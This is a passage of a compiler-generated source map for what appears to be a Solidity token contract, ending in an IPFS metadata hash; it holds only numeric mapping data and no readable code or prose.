:132:0;2705:7;2732:39;2736:1;2739;2732:39;;;;;;;;;;;;;;;;;:3;:39::i;10560:326::-;-1:-1:-1;;;;;10727:15:0;;;;;;:9;:15;;;;;;:27;;10747:6;10727:19;:27::i;:::-;-1:-1:-1;;;;;10709:15:0;;;;;;:9;:15;;;;;:45;10781:40;10799:21;:6;10810:9;10799:10;:21::i;10781:40::-;-1:-1:-1;;;;;10765:13:0;;;;;;;:9;:13;;;;;:56;;;;10837:41;;-1:-1:-1;;;;;;;;;;;10856:21:0;:6;10867:9;10856:10;:21::i;:::-;10837:41;;1361:25:1;;;1349:2;1334:18;10837:41:0;;;;;;;10560:326;;;;:::o;2787:223::-;2907:7;2942:12;2935:5;2927:28;;;;-1:-1:-1;;;2927:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2966:9:0;2978:5;2982:1;2978;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4455:7;4521:1;4517;4513:6;4509:14;4506:1;4503:21;4498:1;4491:9;4484:17;4480:45;4477:71;;;4528:18;;:::i;:::-;-1:-1:-1;4568:9:1;;4415:168::o;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;6017:251::-;6087:6;6140:2;6128:9;6119:7;6115:23;6111:32;6108:52;;;6156:1;6153;6146:12;6108:52;6188:9;6182:16;6207:31;6232:5;6207:31;:::i;7194:306::-;7282:6;7290;7298;7351:2;7339:9;7330:7;7326:23;7322:32;7319:52;;;7367:1;7364;7357:12;7319:52;7396:9;7390:16;7380:26;;7446:2;7435:9;7431:18;7425:25;7415:35;;7490:2;7479:9;7475:18;7469:25;7459:35;;7194:306;;;;;:::o;7784:277::-;7851:6;7904:2;7892:9;7883:7;7879:23;7875:32;7872:52;;;7920:1;7917;7910:12;7872:52;7952:9;7946:16;8005:5;7998:13;7991:21;7984:5;7981:32;7971:60;;8027:1;8024;8017:12;10447:125;10512:9;;;10533:10;;;10530:36;;;10546:18;;:::i;10932:135::-;10971:3;10992:17;;;10989:43;;11012:18;;:::i;:::-;-1:-1:-1;11059:1:1;11048:13;;10932:135::o;11072:128::-;11139:9;;;11160:11;;;11157:37;;;11174:18;;:::i;11693:127::-;11754:10;11749:3;11745:20;11742:1;11735:31;11785:4;11782:1;11775:15;11809:4;11806:1;11799:15;11825:980;12087:4;12135:3;12124:9;12120:19;12166:6;12155:9;12148:25;12192:2;12230:6;12225:2;12214:9;12210:18;12203:34;12273:3;12268:2;12257:9;12253:18;12246:31;12297:6;12332;12326:13;12363:6;12355;12348:22;12401:3;12390:9;12386:19;12379:26;;12440:2;12432:6;12428:15;12414:29;;12461:1;12471:195;12485:6;12482:1;12479:13;12471:195;;;12550:13;;-1:-1:-1;;;;;12546:39:1;12534:52;;12641:15;;;;12606:12;;;;12582:1;12500:9;12471:195;;;-1:-1:-1;;;;;;;12722:32:1;;;;12717:2;12702:18;;12695:60;-1:-1:-1;;;12786:3:1;12771:19;12764:35;12683:3;11825:980;-1:-1:-1;;;11825:980:1:o;12810:217::-;12850:1;12876;12866:132;;12920:10;12915:3;12911:20;12908:1;12901:31;12955:4;12952:1;12945:15;12983:4;12980:1;12973:15;12866:132;-1:-1:-1;13012:9:1;;12810:217::o

ipfs://6997b91896d7822e34a4492b03a450a75bb15f634cfda3a7b7614c9725998f7a